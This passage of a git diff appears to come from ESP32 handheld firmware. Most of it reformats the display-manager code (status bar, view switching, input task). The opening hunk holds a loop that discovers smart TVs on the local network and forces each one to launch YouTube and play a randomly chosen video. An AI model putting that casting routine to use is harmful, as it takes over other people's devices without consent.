ESP_OK) { + printf(" [*] YouTube app not running, attempting launch...\n"); + ESP_LOGI(TAG, "YouTube app is not running. Launching the app..."); + if (!launch_app(manager, APP_YOUTUBE, appUrl)) { + ESP_LOGE(TAG, "Failed to launch YouTube app."); + printf(" [-] Failed to launch YouTube app\n"); + continue; } - - printf(" [+] Found %d device(s)!\n", device_count); - - for (size_t i = 0; i < device_count; ++i) { - Device *device = &devices[i]; - ESP_LOGI(TAG, "Discovered Device: %s (Location: %s)", device->uniqueServiceName, device->location); - - char* appUrl = get_dial_application_url(device->location); - if (appUrl == NULL) { - printf(" [-] Failed to get application URL\n"); - continue; - } - printf(" [+] Got application URL\n"); - - if (check_app_status(manager, APP_YOUTUBE, appUrl, device) != ESP_OK) { - printf(" [*] YouTube app not running, attempting launch...\n"); - ESP_LOGI(TAG, "YouTube app is not running. Launching the app..."); - if (!launch_app(manager, APP_YOUTUBE, appUrl)) { - ESP_LOGE(TAG, "Failed to launch YouTube app."); - printf(" [-] Failed to launch YouTube app\n"); - continue; - } - printf(" [+] YouTube app launched successfully\n"); - } else { - printf(" [+] YouTube app already running\n"); - } - - printf(" [*] Fetching screen ID...\n"); - if (!fetch_screen_id_with_retries(appUrl, device, manager)) { - ESP_LOGE(TAG, "Failed to fetch Screen ID."); - printf(" [-] Failed to fetch screen ID\n"); - continue; - } - printf(" [+] Got screen ID: %s\n", device->screenID); - - const char *yt_url = pick_random_yt_video(); - printf(" [*] Selected video ID: %s\n", yt_url); - - printf(" [*] Sending video command...\n"); - if (send_command("setVideo", yt_url, device) == ESP_OK) { - ESP_LOGI(TAG, "YouTube video command sent successfully."); - printf(" [+] Video command sent successfully!\n"); - } else { - ESP_LOGE(TAG, "Failed to send YouTube command."); - printf(" [-] Failed to send video command\n"); - } - } - - free(devices); - printf("\n[+] Network exploration complete!\n\n"); - break; - } + printf(" [+] YouTube app launched successfully\n"); + } else { + printf(" [+] YouTube app already running\n"); + } + + printf(" [*] Fetching screen ID...\n"); + if (!fetch_screen_id_with_retries(appUrl, device, manager)) { + ESP_LOGE(TAG, "Failed to fetch Screen ID."); + printf(" [-] Failed to fetch screen ID\n"); + continue; + } + printf(" [+] Got screen ID: %s\n", device->screenID); + + const char *yt_url = pick_random_yt_video(); + printf(" [*] Selected video ID: %s\n", yt_url); + + printf(" [*] Sending video command...\n"); + if (send_command("setVideo", yt_url, device) == ESP_OK) { + ESP_LOGI(TAG, "YouTube video command sent successfully."); + printf(" [+] Video command sent successfully!\n"); + } else { + ESP_LOGE(TAG, "Failed to send YouTube command."); + printf(" [-] Failed to send video command\n"); + } + } + + free(devices); + printf("\n[+] Network exploration complete!\n\n"); + break; + } } #pragma GCC diagnostic pop diff --git a/main/managers/display_manager.c b/main/managers/display_manager.c index 0152557c..0719424c 100644 --- a/main/managers/display_manager.c +++ b/main/managers/display_manager.c @@ -1,21 +1,21 @@ #include "managers/display_manager.h" -#include -#include "lvgl_helpers.h" +#include "driver/gpio.h" +#include "esp_log.h" #include "freertos/FreeRTOS.h" +#include "freertos/semphr.h" #include "freertos/task.h" +#include "lvgl_helpers.h" #include "managers/sd_card_manager.h" -#include "freertos/semphr.h" +#include "managers/settings_manager.h" #include "managers/views/error_popup.h" -#include "managers/views/options_screen.h" #include "managers/views/main_menu_screen.h" -#include "managers/settings_manager.h" +#include "managers/views/options_screen.h" #include "managers/views/terminal_screen.h" -#include "driver/gpio.h" -#include "esp_log.h" +#include #ifdef CONFIG_USE_CARDPUTER -#include "vendor/m5/m5gfx_wrapper.h" #include "vendor/keyboard_handler.h" +#include "vendor/m5/m5gfx_wrapper.h" #endif #ifdef CONFIG_HAS_BATTERY @@ -31,6 +31,8 @@ #endif #ifdef CONFIG_JC3248W535EN_LCD +#include "axs15231b/esp_bsp.h" +#include "axs15231b/lv_port.h" #include "vendor/drivers/axs15231b.h" #endif @@ -42,10 +44,9 @@ #define CONFIG_TFT_HEIGHT 320 #endif - #define LVGL_TASK_PERIOD_MS 5 - -DisplayManager dm = { .current_view = NULL, .previous_view = NULL }; +static const char *TAG = "DisplayManager"; +DisplayManager dm = {.current_view = NULL, .previous_view = NULL}; lv_obj_t *status_bar; lv_obj_t *wifi_label = NULL; @@ -61,610 +62,620 @@ bool display_manager_init_success = false; #define DEFAULT_DISPLAY_TIMEOUT_MS 10000 // Global variable to hold the configurable timeout duration -static uint32_t display_timeout_ms = DEFAULT_DISPLAY_TIMEOUT_MS; +uint32_t display_timeout_ms = DEFAULT_DISPLAY_TIMEOUT_MS; // Function to set the display timeout duration void set_display_timeout(uint32_t timeout_ms) { - display_timeout_ms = timeout_ms; + display_timeout_ms = timeout_ms; } #ifdef CONFIG_USE_CARDPUTER Keyboard_t gkeyboard; -void m5stack_lvgl_render_callback(lv_disp_drv_t *drv, const lv_area_t *area, lv_color_t *color_p) { - int32_t x1 = area->x1; - int32_t y1 = area->y1; - int32_t x2 = area->x2; - int32_t y2 = area->y2; +void m5stack_lvgl_render_callback(lv_disp_drv_t *drv, const lv_area_t *area, + lv_color_t *color_p) { + int32_t x1 = area->x1; + int32_t y1 = area->y1; + int32_t x2 = area->x2; + int32_t y2 = area->y2; - m5gfx_write_pixels(x1, y1, x2, y2, (uint16_t *)color_p); + m5gfx_write_pixels(x1, y1, x2, y2, (uint16_t *)color_p); - lv_disp_flush_ready(drv); + lv_disp_flush_ready(drv); } #endif - void fade_out_cb(void *obj, int32_t v) { - if (obj) - { - lv_obj_set_style_opa(obj, v, LV_PART_MAIN); - } + if (obj) { + lv_obj_set_style_opa(obj, v, LV_PART_MAIN); + } } - void fade_in_cb(void *obj, int32_t v) { - if (obj) - { - lv_obj_set_style_opa(obj, v, LV_PART_MAIN); - } + if (obj) { + lv_obj_set_style_opa(obj, v, LV_PART_MAIN); + } } - -void display_manager_fade_out(lv_obj_t *obj, lv_anim_ready_cb_t ready_cb, View* view) { - lv_anim_t anim; - lv_anim_init(&anim); - lv_anim_set_var(&anim, obj); - lv_anim_set_values(&anim, LV_OPA_COVER, LV_OPA_TRANSP); - lv_anim_set_time(&anim, FADE_DURATION_MS); - lv_anim_set_exec_cb(&anim, (lv_anim_exec_xcb_t)fade_out_cb); - lv_anim_set_ready_cb(&anim, ready_cb); - lv_anim_set_user_data(&anim, view); - lv_anim_start(&anim); +void display_manager_fade_out(lv_obj_t *obj, lv_anim_ready_cb_t ready_cb, + View *view) { + lv_anim_t anim; + lv_anim_init(&anim); + lv_anim_set_var(&anim, obj); + lv_anim_set_values(&anim, LV_OPA_COVER, LV_OPA_TRANSP); + lv_anim_set_time(&anim, FADE_DURATION_MS); + lv_anim_set_exec_cb(&anim, (lv_anim_exec_xcb_t)fade_out_cb); + lv_anim_set_ready_cb(&anim, ready_cb); + lv_anim_set_user_data(&anim, view); + lv_anim_start(&anim); } - void display_manager_fade_in(lv_obj_t *obj) { - lv_anim_t anim; - lv_anim_init(&anim); - lv_anim_set_var(&anim, obj); - lv_anim_set_values(&anim, LV_OPA_TRANSP, LV_OPA_COVER); - lv_anim_set_time(&anim, FADE_DURATION_MS); - lv_anim_set_exec_cb(&anim, (lv_anim_exec_xcb_t)fade_in_cb); - lv_anim_start(&anim); + lv_anim_t anim; + lv_anim_init(&anim); + lv_anim_set_var(&anim, obj); + lv_anim_set_values(&anim, LV_OPA_TRANSP, LV_OPA_COVER); + lv_anim_set_time(&anim, FADE_DURATION_MS); + lv_anim_set_exec_cb(&anim, (lv_anim_exec_xcb_t)fade_in_cb); + lv_anim_start(&anim); } - void fade_out_ready_cb(lv_anim_t *anim) { - display_manager_destroy_current_view(); - - View *new_view = (View *)anim->user_data; - if (new_view) { - dm.previous_view = dm.current_view; - dm.current_view = new_view; - - if (new_view->get_hardwareinput_callback) { - new_view->input_callback(&dm.current_view->input_callback); - } - - new_view->create(); - display_manager_fade_in(new_view->root); - display_manager_fade_in(status_bar); - } -} + display_manager_destroy_current_view(); -lv_color_t hex_to_lv_color(const char *hex_str) { - if (hex_str[0] == '#') { - hex_str++; - } + View *new_view = (View *)anim->user_data; + if (new_view) { + dm.previous_view = dm.current_view; + dm.current_view = new_view; - if (strlen(hex_str) != 6) { - printf("Invalid hex color format. Expected 6 characters.\n"); - return lv_color_white(); + if (new_view->get_hardwareinput_callback) { + new_view->input_callback(&dm.current_view->input_callback); } - // Parse the hex string into RGB values - char r_str[3] = {hex_str[0], hex_str[1], '\0'}; - char g_str[3] = {hex_str[2], hex_str[3], '\0'}; - char b_str[3] = {hex_str[4], hex_str[5], '\0'}; - - uint8_t r = (uint8_t)strtol(r_str, NULL, 16); - uint8_t g = (uint8_t)strtol(g_str, NULL, 16); - uint8_t b = (uint8_t)strtol(b_str, NULL, 16); - - return lv_color_make(r, g, b); + new_view->create(); + display_manager_fade_in(new_view->root); + display_manager_fade_in(status_bar); + } } -void update_status_bar(bool wifi_enabled, bool bt_enabled, bool sd_card_mounted, int batteryPercentage) { - lv_disp_t *disp = lv_disp_get_default(); - int hor_res = lv_disp_get_hor_res(disp); +lv_color_t hex_to_lv_color(const char *hex_str) { + if (hex_str[0] == '#') { + hex_str++; + } + if (strlen(hex_str) != 6) { + printf("Invalid hex color format. Expected 6 characters.\n"); + return lv_color_white(); + } - int wifi_pos_x = hor_res / 50; - int bt_pos_x = hor_res / 10; - int sd_pos_x = hor_res / 6; - int battery_pos_x = hor_res - (hor_res / 20) - 5; + // Parse the hex string into RGB values + char r_str[3] = {hex_str[0], hex_str[1], '\0'}; + char g_str[3] = {hex_str[2], hex_str[3], '\0'}; + char b_str[3] = {hex_str[4], hex_str[5], '\0'}; - // Only render Wi-Fi, Bluetooth, and SD icons if the width is greater than 128 - bool render_icons = (hor_res > 128); + uint8_t r = (uint8_t)strtol(r_str, NULL, 16); + uint8_t g = (uint8_t)strtol(g_str, NULL, 16); + uint8_t b = (uint8_t)strtol(b_str, NULL, 16); - - if (render_icons && wifi_enabled) { - if (wifi_label == NULL) { - wifi_label = lv_label_create(status_bar); - lv_label_set_text(wifi_label, LV_SYMBOL_WIFI); - lv_obj_align(wifi_label, LV_ALIGN_LEFT_MID, wifi_pos_x + -5, 0); - lv_obj_set_style_text_color(wifi_label, hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), 0); - } - } else if (wifi_label != NULL) { - lv_obj_del(wifi_label); - wifi_label = NULL; - } + return lv_color_make(r, g, b); +} - - if (render_icons && bt_enabled) { - if (bt_label == NULL) { - bt_label = lv_label_create(status_bar); - lv_label_set_text(bt_label, LV_SYMBOL_BLUETOOTH); - lv_obj_align(bt_label, LV_ALIGN_LEFT_MID, bt_pos_x, 0); - lv_obj_set_style_text_color(bt_label, hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), 0); - } - } else if (bt_label != NULL) { - lv_obj_del(bt_label); - bt_label = NULL; +void update_status_bar(bool wifi_enabled, bool bt_enabled, bool sd_card_mounted, + int batteryPercentage) { + lv_disp_t *disp = lv_disp_get_default(); + int hor_res = lv_disp_get_hor_res(disp); + + int wifi_pos_x = hor_res / 50; + int bt_pos_x = hor_res / 10; + int sd_pos_x = hor_res / 6; + int battery_pos_x = hor_res - (hor_res / 20) - 5; + + // Only render Wi-Fi, Bluetooth, and SD icons if the width is greater than 128 + bool render_icons = (hor_res > 128); + + if (render_icons && wifi_enabled) { + if (wifi_label == NULL) { + wifi_label = lv_label_create(status_bar); + lv_label_set_text(wifi_label, LV_SYMBOL_WIFI); + lv_obj_align(wifi_label, LV_ALIGN_LEFT_MID, wifi_pos_x + -5, 0); + lv_obj_set_style_text_color( + wifi_label, + hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), 0); } - - - if (render_icons && sd_card_mounted) { - if (sd_label == NULL) { - sd_label = lv_label_create(status_bar); - lv_label_set_text(sd_label, LV_SYMBOL_SD_CARD); - lv_obj_align(sd_label, LV_ALIGN_LEFT_MID, sd_pos_x, 0); - lv_obj_set_style_text_color(sd_label, hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), 0); - } - } else if (sd_label != NULL) { - lv_obj_del(sd_label); - sd_label = NULL; + } else if (wifi_label != NULL) { + lv_obj_del(wifi_label); + wifi_label = NULL; + } + + if (render_icons && bt_enabled) { + if (bt_label == NULL) { + bt_label = lv_label_create(status_bar); + lv_label_set_text(bt_label, LV_SYMBOL_BLUETOOTH); + lv_obj_align(bt_label, LV_ALIGN_LEFT_MID, bt_pos_x, 0); + lv_obj_set_style_text_color( + bt_label, hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), + 0); } - - - const char *battery_symbol; - if (batteryPercentage < 10) { - battery_symbol = LV_SYMBOL_BATTERY_EMPTY; - } else if (batteryPercentage < 30) { - battery_symbol = LV_SYMBOL_BATTERY_1; - } else if (batteryPercentage < 60) { - battery_symbol = LV_SYMBOL_BATTERY_2; - } else if (batteryPercentage < 80) { - battery_symbol = LV_SYMBOL_BATTERY_3; - } else { - battery_symbol = LV_SYMBOL_BATTERY_FULL; + } else if (bt_label != NULL) { + lv_obj_del(bt_label); + bt_label = NULL; + } + + if (render_icons && sd_card_mounted) { + if (sd_label == NULL) { + sd_label = lv_label_create(status_bar); + lv_label_set_text(sd_label, LV_SYMBOL_SD_CARD); + lv_obj_align(sd_label, LV_ALIGN_LEFT_MID, sd_pos_x, 0); + lv_obj_set_style_text_color( + sd_label, hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), + 0); } + } else if (sd_label != NULL) { + lv_obj_del(sd_label); + sd_label = NULL; + } + + const char *battery_symbol; + if (batteryPercentage < 10) { + battery_symbol = LV_SYMBOL_BATTERY_EMPTY; + } else if (batteryPercentage < 30) { + battery_symbol = LV_SYMBOL_BATTERY_1; + } else if (batteryPercentage < 60) { + battery_symbol = LV_SYMBOL_BATTERY_2; + } else if (batteryPercentage < 80) { + battery_symbol = LV_SYMBOL_BATTERY_3; + } else { + battery_symbol = LV_SYMBOL_BATTERY_FULL; + } #ifdef CONFIG_HAS_BATTERY - if (axp202_is_charging()) { - battery_symbol = LV_SYMBOL_CHARGE; - } -#else + if (axp202_is_charging()) { battery_symbol = LV_SYMBOL_CHARGE; - batteryPercentage = 100; + } +#else + battery_symbol = LV_SYMBOL_CHARGE; + batteryPercentage = 100; #endif - - - - if (battery_label == NULL) { - battery_label = lv_label_create(status_bar); - lv_obj_align(battery_label, LV_ALIGN_RIGHT_MID, -5, 0); - lv_obj_set_style_text_color(battery_label, hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), 0); - lv_obj_set_style_text_font(battery_label, render_icons ? &lv_font_montserrat_16 : &lv_font_montserrat_10, 0); - } - else - { - lv_obj_del(battery_label); // Fix Battery Not Showing up on other menus - battery_label = lv_label_create(status_bar); - lv_obj_align(battery_label, LV_ALIGN_RIGHT_MID, -5, 0); - lv_obj_set_style_text_color(battery_label, hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), 0); - lv_obj_set_style_text_font(battery_label, render_icons ? &lv_font_montserrat_16 : &lv_font_montserrat_10, 0); - } - - - lv_label_set_text_fmt(battery_label, "%s %d%%", battery_symbol, batteryPercentage); - - - lv_obj_invalidate(status_bar); + if (battery_label == NULL) { + battery_label = lv_label_create(status_bar); + lv_obj_align(battery_label, LV_ALIGN_RIGHT_MID, -5, 0); + lv_obj_set_style_text_color( + battery_label, + hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), 0); + lv_obj_set_style_text_font( + battery_label, + render_icons ? &lv_font_montserrat_16 : &lv_font_montserrat_10, 0); + } else { + lv_obj_del(battery_label); // Fix Battery Not Showing up on other menus + battery_label = lv_label_create(status_bar); + lv_obj_align(battery_label, LV_ALIGN_RIGHT_MID, -5, 0); + lv_obj_set_style_text_color( + battery_label, + hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), 0); + lv_obj_set_style_text_font( + battery_label, + render_icons ? &lv_font_montserrat_16 : &lv_font_montserrat_10, 0); + } + + lv_label_set_text_fmt(battery_label, "%s %d%%", battery_symbol, + batteryPercentage); + + lv_obj_invalidate(status_bar); } - -void display_manager_add_status_bar(const char* CurrentMenuName) -{ - status_bar = lv_obj_create(lv_scr_act()); - lv_obj_set_size(status_bar, LV_HOR_RES, 20); - lv_obj_align(status_bar, LV_ALIGN_TOP_MID, 0, 0); - - - lv_obj_set_style_bg_color(status_bar, lv_color_black(), LV_PART_MAIN); - - lv_obj_set_scrollbar_mode(status_bar, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_style_border_side(status_bar, LV_BORDER_SIDE_BOTTOM, LV_PART_MAIN); - lv_obj_set_style_border_width(status_bar, 2, LV_PART_MAIN); - lv_obj_set_style_border_color(status_bar, hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), LV_PART_MAIN); // Previous color lv_color_hex(0x393939) - lv_obj_clear_flag(status_bar, LV_OBJ_FLAG_SCROLLABLE); - - lv_disp_t *disp = lv_disp_get_default(); - int hor_res = lv_disp_get_hor_res(disp); - - lv_obj_t* mainlabel = lv_label_create(status_bar); - lv_label_set_text(mainlabel, CurrentMenuName); - lv_obj_align(mainlabel, hor_res > 128 ? LV_ALIGN_CENTER : LV_ALIGN_LEFT_MID, hor_res > 128 ? -15 : -5, 0); - lv_obj_set_style_text_color(mainlabel, hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), 0); - lv_obj_set_style_text_font(mainlabel, hor_res > 128 ? &lv_font_montserrat_16 : &lv_font_montserrat_10, 0); - - bool HasBluetooth; +void display_manager_add_status_bar(const char *CurrentMenuName) { + status_bar = lv_obj_create(lv_scr_act()); + lv_obj_set_size(status_bar, LV_HOR_RES, 20); + lv_obj_align(status_bar, LV_ALIGN_TOP_MID, 0, 0); + + lv_obj_set_style_bg_color(status_bar, lv_color_black(), LV_PART_MAIN); + + lv_obj_set_scrollbar_mode(status_bar, LV_SCROLLBAR_MODE_OFF); + lv_obj_set_style_border_side(status_bar, LV_BORDER_SIDE_BOTTOM, LV_PART_MAIN); + lv_obj_set_style_border_width(status_bar, 2, LV_PART_MAIN); + lv_obj_set_style_border_color( + status_bar, hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), + LV_PART_MAIN); // Previous color lv_color_hex(0x393939) + lv_obj_clear_flag(status_bar, LV_OBJ_FLAG_SCROLLABLE); + + lv_disp_t *disp = lv_disp_get_default(); + int hor_res = lv_disp_get_hor_res(disp); + + lv_obj_t *mainlabel = lv_label_create(status_bar); + lv_label_set_text(mainlabel, CurrentMenuName); + lv_obj_align(mainlabel, hor_res > 128 ? LV_ALIGN_CENTER : LV_ALIGN_LEFT_MID, + hor_res > 128 ? -15 : -5, 0); + lv_obj_set_style_text_color( + mainlabel, hex_to_lv_color(settings_get_accent_color_str(&G_Settings)), + 0); + lv_obj_set_style_text_font( + mainlabel, + hor_res > 128 ? &lv_font_montserrat_16 : &lv_font_montserrat_10, 0); + + bool HasBluetooth; #ifndef CONFIG_IDF_TARGET_ESP32S2 - HasBluetooth = true; + HasBluetooth = true; #else - HasBluetooth = false; + HasBluetooth = false; #endif #ifdef CONFIG_HAS_BATTERY - uint8_t power_level; - axp2101_get_power_level(&power_level); - bool is_charging = axp202_is_charging(); - update_status_bar(true, HasBluetooth, sd_card_manager.is_initialized, is_charging ? power_level : power_level); + uint8_t power_level; + axp2101_get_power_level(&power_level); + bool is_charging = axp202_is_charging(); + update_status_bar(true, HasBluetooth, sd_card_manager.is_initialized, + is_charging ? power_level : power_level); #else - update_status_bar(true, HasBluetooth, sd_card_manager.is_initialized, 1000); + update_status_bar(true, HasBluetooth, sd_card_manager.is_initialized, 1000); #endif } void display_manager_init(void) { #ifndef CONFIG_JC3248W535EN_LCD - lv_init(); + lv_init(); #ifdef CONFIG_USE_CARDPUTER - init_m5gfx_display(); -#else - lvgl_driver_init(); + init_m5gfx_display(); +#else + lvgl_driver_init(); #endif -#endif //CONFIG_JC3248W535EN_LCD +#endif // CONFIG_JC3248W535EN_LCD #if !defined(CONFIG_USE_7_INCHER) && !defined(CONFIG_JC3248W535EN_LCD) - static lv_color_t buf1[CONFIG_TFT_WIDTH * 20] __attribute__((aligned(4))); - static lv_color_t buf2[CONFIG_TFT_WIDTH * 20] __attribute__((aligned(4))); - static lv_disp_draw_buf_t disp_buf; - lv_disp_draw_buf_init(&disp_buf, buf1, buf2, CONFIG_TFT_WIDTH * 20); +#ifdef CONFIG_IDF_TARGET_ESP32 + static lv_color_t buf1[CONFIG_TFT_WIDTH * 5] __attribute__((aligned( + 4))); // We do this due to Dram Memory Constraints on ESP32 WROOM Modules + static lv_color_t buf2[CONFIG_TFT_WIDTH * 5] + __attribute__((aligned(4))); // Any other devices like ESP32S3 Etc Should + // be able to handle the * 20 Double Buffer +#else + static lv_color_t buf1[CONFIG_TFT_WIDTH * 20] __attribute__((aligned(4))); + static lv_color_t buf2[CONFIG_TFT_WIDTH * 20] __attribute__((aligned(4))); +#endif - /* Initialize the display */ - static lv_disp_drv_t disp_drv; - lv_disp_drv_init(&disp_drv); - disp_drv.hor_res = CONFIG_TFT_WIDTH; - disp_drv.ver_res = CONFIG_TFT_HEIGHT; + static lv_disp_draw_buf_t disp_buf; + lv_disp_draw_buf_init(&disp_buf, buf1, buf2, CONFIG_TFT_WIDTH * 5); + + /* Initialize the display */ + static lv_disp_drv_t disp_drv; + lv_disp_drv_init(&disp_drv); + disp_drv.hor_res = CONFIG_TFT_WIDTH; + disp_drv.ver_res = CONFIG_TFT_HEIGHT; #ifdef CONFIG_USE_CARDPUTER - disp_drv.flush_cb = m5stack_lvgl_render_callback; + disp_drv.flush_cb = m5stack_lvgl_render_callback; #else - disp_drv.flush_cb = disp_driver_flush; + disp_drv.flush_cb = disp_driver_flush; #endif - disp_drv.draw_buf = &disp_buf; - lv_disp_drv_register(&disp_drv); + disp_drv.draw_buf = &disp_buf; + lv_disp_drv_register(&disp_drv); #elif defined(CONFIG_JC3248W535EN_LCD) - esp_err_t ret = lcd_axs15231b_init(); - if (ret != ESP_OK) { - printf("LCD initialization failed"); - return; - } -#else + esp_err_t ret = lcd_axs15231b_init(); + if (ret != ESP_OK) { + printf("LCD initialization failed"); + return; + } +#else - esp_err_t ret = lcd_st7262_init(); - if (ret != ESP_OK) { - printf("LCD initialization failed"); - return; - } + esp_err_t ret = lcd_st7262_init(); + if (ret != ESP_OK) { + printf("LCD initialization failed"); + return; + } - ret = lcd_st7262_lvgl_init(); - if (ret != ESP_OK) { - printf("LVGL initialization failed"); - return; - } + ret = lcd_st7262_lvgl_init(); + if (ret != ESP_OK) { + printf("LVGL initialization failed"); + return; + } #endif - dm.mutex = xSemaphoreCreateMutex(); - if (dm.mutex == NULL) { - printf("Failed to create mutex\n"); - return; - } + dm.mutex = xSemaphoreCreateMutex(); + if (dm.mutex == NULL) { + printf("Failed to create mutex\n"); + return; + } - input_queue = xQueueCreate(10, sizeof(InputEvent)); - if (input_queue == NULL) { - printf("Failed to create input queue\n"); - return; - } + input_queue = xQueueCreate(10, sizeof(InputEvent)); + if (input_queue == NULL) { + printf("Failed to create input queue\n"); + return; + } #ifdef CONFIG_USE_CARDPUTER - keyboard_init(&gkeyboard); - keyboard_begin(&gkeyboard); + keyboard_init(&gkeyboard); + keyboard_begin(&gkeyboard); #endif #ifdef CONFIG_HAS_BATTERY - axp2101_init(); + axp2101_init(); #ifdef CONFIG_HAS_RTC_CLOCK - pcf8563_init(I2C_NUM_1, 0x51); + pcf8563_init(I2C_NUM_1, 0x51); #endif #endif - display_manager_init_success = true; + display_manager_init_success = true; #ifndef CONFIG_JC3248W535EN_LCD // JC3248W535EN has its own lvgl task - xTaskCreate(lvgl_tick_task, "LVGL Tick Task", 4096, NULL, RENDERING_TASK_PRIORITY, NULL); + xTaskCreate(lvgl_tick_task, "LVGL Tick Task", 4096, NULL, + RENDERING_TASK_PRIORITY, NULL); #endif - if (xTaskCreate(hardware_input_task, "RawInput", 2048, NULL, HARDWARE_INPUT_TASK_PRIORITY, NULL) != pdPASS) { - printf("Failed to create RawInput task\n"); - } + if (xTaskCreate(hardware_input_task, "RawInput", 2048, NULL, + HARDWARE_INPUT_TASK_PRIORITY, NULL) != pdPASS) { + printf("Failed to create RawInput task\n"); + } } bool display_manager_register_view(View *view) { - if (view == NULL || view->create == NULL || view->destroy == NULL) { - return false; - } - return true; + if (view == NULL || view->create == NULL || view->destroy == NULL) { + return false; + } + return true; } void display_manager_switch_view(View *view) { - if (view == NULL) return; + if (view == NULL) + return; - if (xSemaphoreTake(dm.mutex, pdMS_TO_TICKS(MUTEX_TIMEOUT_MS)) == pdTRUE) { - printf("Switching view from %s to %s\n", - dm.current_view ? dm.current_view->name : "NULL", - view->name); - - if (dm.current_view && dm.current_view->root) { - if (status_bar) - { - lv_obj_del(status_bar); - wifi_label = NULL; - bt_label = NULL; - sd_label = NULL; - battery_label = NULL; - status_bar = NULL; - } - display_manager_fade_out(dm.current_view->root, fade_out_ready_cb, view); - } else { - dm.previous_view = dm.current_view; - dm.current_view = view; - - if (view->get_hardwareinput_callback) { - view->input_callback(&dm.current_view->input_callback); - } - - view->create(); - display_manager_fade_in(view->root); - } +#ifdef CONFIG_JC3248W535EN_LCD + bsp_display_lock(0); +#endif + + if (xSemaphoreTake(dm.mutex, pdMS_TO_TICKS(MUTEX_TIMEOUT_MS)) == pdTRUE) { + printf("Switching view from %s to %s\n", + dm.current_view ? dm.current_view->name : "NULL", view->name); - xSemaphoreGive(dm.mutex); + if (dm.current_view && dm.current_view->root) { + if (status_bar) { + lv_obj_del(status_bar); + wifi_label = NULL; + bt_label = NULL; + sd_label = NULL; + battery_label = NULL; + status_bar = NULL; + } + display_manager_fade_out(dm.current_view->root, fade_out_ready_cb, view); } else { - printf("Failed to acquire mutex for switching view\n"); + dm.previous_view = dm.current_view; + dm.current_view = view; + + if (view->get_hardwareinput_callback) { + view->input_callback(&dm.current_view->input_callback); + } + + view->create(); + display_manager_fade_in(view->root); } + + xSemaphoreGive(dm.mutex); + } else { + printf("Failed to acquire mutex for switching view\n"); + } + +#ifdef CONFIG_JC3248W535EN_LCD + bsp_display_unlock(); +#endif } void display_manager_destroy_current_view(void) { - if (dm.current_view) { - if (dm.current_view->destroy) { - dm.current_view->destroy(); - } - - dm.current_view = NULL; + if (dm.current_view) { + if (dm.current_view->destroy) { + dm.current_view->destroy(); } -} -View *display_manager_get_current_view(void) { - return dm.current_view; + dm.current_view = NULL; + } } -void display_manager_fill_screen(lv_color_t color) -{ - static lv_style_t style; - lv_style_init(&style); - lv_style_set_bg_color(&style, color); - lv_style_set_bg_opa(&style, LV_OPA_COVER); - lv_obj_set_scrollbar_mode(lv_scr_act(), LV_SCROLLBAR_MODE_OFF); - lv_obj_add_style(lv_scr_act(), &style, LV_PART_MAIN | LV_STATE_DEFAULT); +View *display_manager_get_current_view(void) { return dm.current_view; } + +void display_manager_fill_screen(lv_color_t color) { + static lv_style_t style; + lv_style_init(&style); + lv_style_set_bg_color(&style, color); + lv_style_set_bg_opa(&style, LV_OPA_COVER); + lv_obj_set_scrollbar_mode(lv_scr_act(), LV_SCROLLBAR_MODE_OFF); + lv_obj_add_style(lv_scr_act(), &style, LV_PART_MAIN | LV_STATE_DEFAULT); } void set_backlight_brightness(uint8_t percentage) { - - if (percentage > 1) { - percentage = 1; - } - gpio_set_level(CONFIG_LV_DISP_PIN_BCKL, percentage); -} + if (percentage > 1) { + percentage = 1; + } -static const char* TAG = "DisplayManager"; + gpio_set_level(CONFIG_LV_DISP_PIN_BCKL, percentage); +} void hardware_input_task(void *pvParameters) { - const TickType_t tick_interval = pdMS_TO_TICKS(10); - - lv_indev_drv_t touch_driver; - lv_indev_data_t touch_data; - uint16_t calData[5] = { 339, 3470, 237, 3438, 2 }; - bool touch_active = false; - int screen_width = LV_HOR_RES; - int screen_height = LV_VER_RES; - TickType_t last_touch_time = 0; - bool is_backlight_dimmed = false; - - - while (1) { - #ifdef CONFIG_USE_CARDPUTER - keyboard_update_key_list(&gkeyboard); - keyboard_update_keys_state(&gkeyboard); - if (gkeyboard.key_list_buffer_len > 0) { - for (size_t i = 0; i < gkeyboard.key_list_buffer_len; ++i) { - Point2D_t key_pos = gkeyboard.key_list_buffer[i]; - uint8_t key_value = keyboard_get_key(&gkeyboard, key_pos); - - - if (key_value != 0 && !touch_active) { - touch_active = true; - InputEvent event; - event.type = INPUT_TYPE_JOYSTICK; - - printf("Unhandled key value: %d\n", key_value); - - - switch (key_value) { - case 180: - event.data.joystick_index = 1; - break; - case 39: - event.data.joystick_index = 0; - break; - case 158: - event.data.joystick_index = 2; - break; - case 30: - event.data.joystick_index = 3; - break; - case 56: - event.data.joystick_index = 4; - break; - default: - printf("Unhandled key value: %d\n", key_value); - continue; - } - - if (xQueueSend(input_queue, &event, pdMS_TO_TICKS(10)) != pdTRUE) { - printf("Failed to send button input to queue\n"); - } - - vTaskDelay(pdMS_TO_TICKS(300)); - } - else if (touch_active) - { - touch_active = false; - } - } - } - #endif - - - #ifdef CONFIG_USE_JOYSTICK - for (int i = 0; i < 5; i++) { - if (joysticks[i].pin >= 0) { - if (joystick_just_pressed(&joysticks[i])) { - InputEvent event; - event.type = INPUT_TYPE_JOYSTICK; - event.data.joystick_index = i; - - if (xQueueSend(input_queue, &event, pdMS_TO_TICKS(10)) != pdTRUE) { - printf("Failed to send joystick input to queue\n"); - } - } - } - } - #endif - - #ifdef CONFIG_USE_TOUCHSCREEN - - #ifdef CONFIG_JC3248W535EN_LCD - touch_driver_read_axs15231b(&touch_driver, &touch_data); - #else - touch_driver_read(&touch_driver, &touch_data); - #endif - - if (touch_data.state == LV_INDEV_STATE_PR && !touch_active) { - touch_active = true; - - #ifdef CONFIG_HAS_BATTERY - last_touch_time = xTaskGetTickCount(); - if (is_backlight_dimmed) { - set_backlight_brightness(1); - is_backlight_dimmed = false; - } - #endif - - InputEvent event; - 